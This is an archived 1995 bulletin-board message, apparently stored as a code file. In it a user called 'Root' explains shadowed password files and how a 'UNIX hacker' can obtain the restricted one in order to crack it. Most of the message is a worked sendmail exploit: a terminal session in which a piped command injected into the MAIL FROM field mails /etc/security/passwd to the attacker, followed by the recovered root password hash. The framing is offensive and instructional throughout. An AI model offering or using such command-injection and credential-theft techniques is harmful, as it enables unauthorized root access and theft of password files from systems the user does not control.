75 lines
2.3 KiB
Standard ML
75 lines
2.3 KiB
Standard ML
11
|
||
|
||
Subj: Re: passwd file (11/34)
|
||
From: Root #1
|
||
To : Lord Balif #10
|
||
Date: Mon, Jan 16, 1995 7:03:53 AM
|
||
|
||
LB> root:x:0:1:0000-Admin(0000):/:
|
||
|
||
This is an example of a "shadowed" passwd file. The file is world readable and
|
||
exists to provide user information for fingering a particular user -
|
||
|
||
Login name: root Real name: 000-Admin(0000)
|
||
Directory: / Shell: ???
|
||
Plan:
|
||
No Plan
|
||
|
||
The actual encypted passwd for user 'root' is in one of two places most
|
||
likely.. either in a restricted security directory ('/etc/security/passwd') or
|
||
in a special passwd file called master.passwd ('/etc/master.passwd').
|
||
ExchangeNET uses the latter format, for instance.
|
||
|
||
Your job as a UNIX hacker is to somehow trick the host computer into letting
|
||
you read the restricted passwd file which contains encrypted passwds. On
|
||
obtainting this file, you would run a UNIX passwd cracker on the passwd file.
|
||
|
||
<pause> The problem is, the unshadowed passwords are most likely in a file that most
|
||
users cannot access -- owned by user 'root' and group 'wheel' for instance,
|
||
with a file mode of 600 ('-rw------- root wheel 58472 passwd'). You will need
|
||
to use a program that your host runs that is allowed to access this file and
|
||
have it send the file to you.
|
||
|
||
Classically, sendmail ran under root's user id (0) and could read this file.
|
||
An old bug in sendmail could be employed to execute commands as root, thus
|
||
providing a gaping vulnerability for becomming a root user to anyone who could
|
||
access sendmail. In the classic example, getting the shadowed passwd file
|
||
could be done like this:
|
||
|
||
REPEAT BY:
|
||
|
||
% telnet localhost 25 <-- your site's sendmail port
|
||
Trying 127.0.0.1 ...
|
||
Connected. Escape character is '^]'.
|
||
Welcome to old.smtp.version.site.com STMP sendmail version 1.0
|
||
Ready and willing for your command, haqr sir.
|
||
|
||
(you type) MAIL FROM: "|/bin/mail me@old.smtp.version.site.com
|
||
</etc/security/passwd"
|
||
250 - Sender OK
|
||
RCPT TO: nosuchuser
|
||
<pause> 225 - "nosuchuser" User unknown
|
||
DATA
|
||
230 - Enter message. '.' to end
|
||
.
|
||
235 OK
|
||
QUIT
|
||
Connection closed
|
||
|
||
% wait
|
||
% frm
|
||
1 Mailer Daemon No subject - file transmission
|
||
|
||
% more /var/spool/mail/me
|
||
From daemon!localhost ...
|
||
.
|
||
.
|
||
Subject:
|
||
|
||
root:89JKHkjh\kj1:0:0:Admin:/:/bin/sh
|
||
...
|
||
|
||
%
|
||
----
|
||
|
||
<pause> |